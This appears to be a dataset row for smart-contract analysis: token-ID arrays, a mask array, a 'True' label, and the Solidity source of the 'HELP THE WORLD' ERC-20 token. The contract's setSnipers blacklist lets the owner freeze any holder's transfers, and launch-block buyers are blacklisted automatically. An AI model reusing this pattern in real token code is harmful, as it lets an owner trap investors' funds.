10497,
2121,
1007,
1025,
1065,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
1035,
3954,
1027,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1010,
1000,
2219,
3085,
1024,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
4769,
1006,
1014,
1007,
1007,
1025,
1035,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1010,
1000,
2219,
3085,
1024,
2047,
3954,
2003,
1996,
5717,
4769,
1000,
1007,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
1035,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract HELP is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping (address => bool) private _isSniper;
bool private _swapping;
uint256 private _launchTime;
address public feeWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 private _buyMarketingFee;
uint256 private _buyLiquidityFee;
uint256 private _buyDevFee;
uint256 public sellTotalFees;
uint256 private _sellMarketingFee;
uint256 private _sellLiquidityFee;
uint256 private _sellDevFee;
uint256 private _tokensForMarketing;
uint256 private _tokensForLiquidity;
uint256 private _tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event feeWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("HELP THE WORLD", "HELP") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 buyMarketingFee = 3;
uint256 buyLiquidityFee = 3;
uint256 buyDevFee = 3;
uint256 sellMarketingFee = 4;
uint256 sellLiquidityFee = 4;
uint256 sellDevFee = 4;
uint256 totalSupply = 1e18 * 1e9;
maxTransactionAmount = totalSupply * 1 / 100; // 1% maxTransactionAmountTxn
maxWallet = totalSupply * 4 / 100; // 4% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
_buyMarketingFee = buyMarketingFee;
_buyLiquidityFee = buyLiquidityFee;
_buyDevFee = buyDevFee;
buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee;
_sellMarketingFee = sellMarketingFee;
_sellLiquidityFee = sellLiquidityFee;
_sellDevFee = sellDevFee;
sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee;
feeWallet = address(owner()); // set as fee wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
_launchTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) {
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000) / 1e9, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * 1e9;
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * 1e9;
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner {
_buyMarketingFee = marketingFee;
_buyLiquidityFee = liquidityFee;
_buyDevFee = devFee;
buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee;
require(buyTotalFees <= 10, "Must keep fees at 10% or less");
}
function updateSellFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner {
_sellMarketingFee = marketingFee;
_sellLiquidityFee = liquidityFee;
_sellDevFee = devFee;
sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee;
require(sellTotalFees <= 15, "Must keep fees at 15% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateFeeWallet(address newWallet) external onlyOwner {
emit feeWalletUpdated(newWallet, feeWallet);
feeWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function setSnipers(address[] memory snipers_) public onlyOwner() {
for (uint i = 0; i < snipers_.length; i++) {
if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) {
_isSniper[snipers_[i]] = true;
}
}
}
function delSnipers(address[] memory snipers_) public onlyOwner() {
for (uint i = 0; i < snipers_.length; i++) {
_isSniper[snipers_[i]] = false;
}
}
function isSniper(address addr) public view returns (bool) {
return _isSniper[addr];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isSniper[from], "Your address has been marked as a sniper, you are unable to transfer or swap.");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (block.timestamp == _launchTime) _isSniper[to] = true;
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!_swapping
) {
if (!tradingActive) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
// when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
// when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!_swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
_swapping = true;
swapBack();
_swapping = false;
}
bool takeFee = !_swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
_tokensForLiquidity += fees * _sellLiquidityFee / sellTotalFees;
_tokensForDev += fees * _sellDevFee / sellTotalFees;
_tokensForMarketing += fees * _sellMarketingFee / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
_tokensForLiquidity += fees * _buyLiquidityFee / buyTotalFees;
_tokensForDev += fees * _buyDevFee / buyTotalFees;
_tokensForMarketing += fees * _buyMarketingFee / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev;
if (contractBalance == 0 || totalTokensToSwap == 0) return;
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
_swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
_tokensForLiquidity = 0;
_tokensForMarketing = 0;
_tokensForDev = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
_addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity);
}
}
function withdrawFees() external {
payable(feeWallet).transfer(address(this).balance);
}
receive() external payable {}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
5511,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
2340,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
8278,
1045,
19496,
26760,
9331,
2615,
2475,
4502,
4313,
1063,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
3853,
2171,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
6454,
1006,
1007,
6327,
5760,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
5760,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
5884,
1035,
19802,
25879,
2953,
1006,
1007,
6327,
3193,
5651,
1006,
27507,
16703,
1007,
1025,
3853,
9146,
1035,
2828,
14949,
2232,
1006,
1007,
6327,
5760,
5651,
1006,
27507,
16703,
1007,
1025,
3853,
2512,
9623,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
9146,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1010,
21318,
3372,
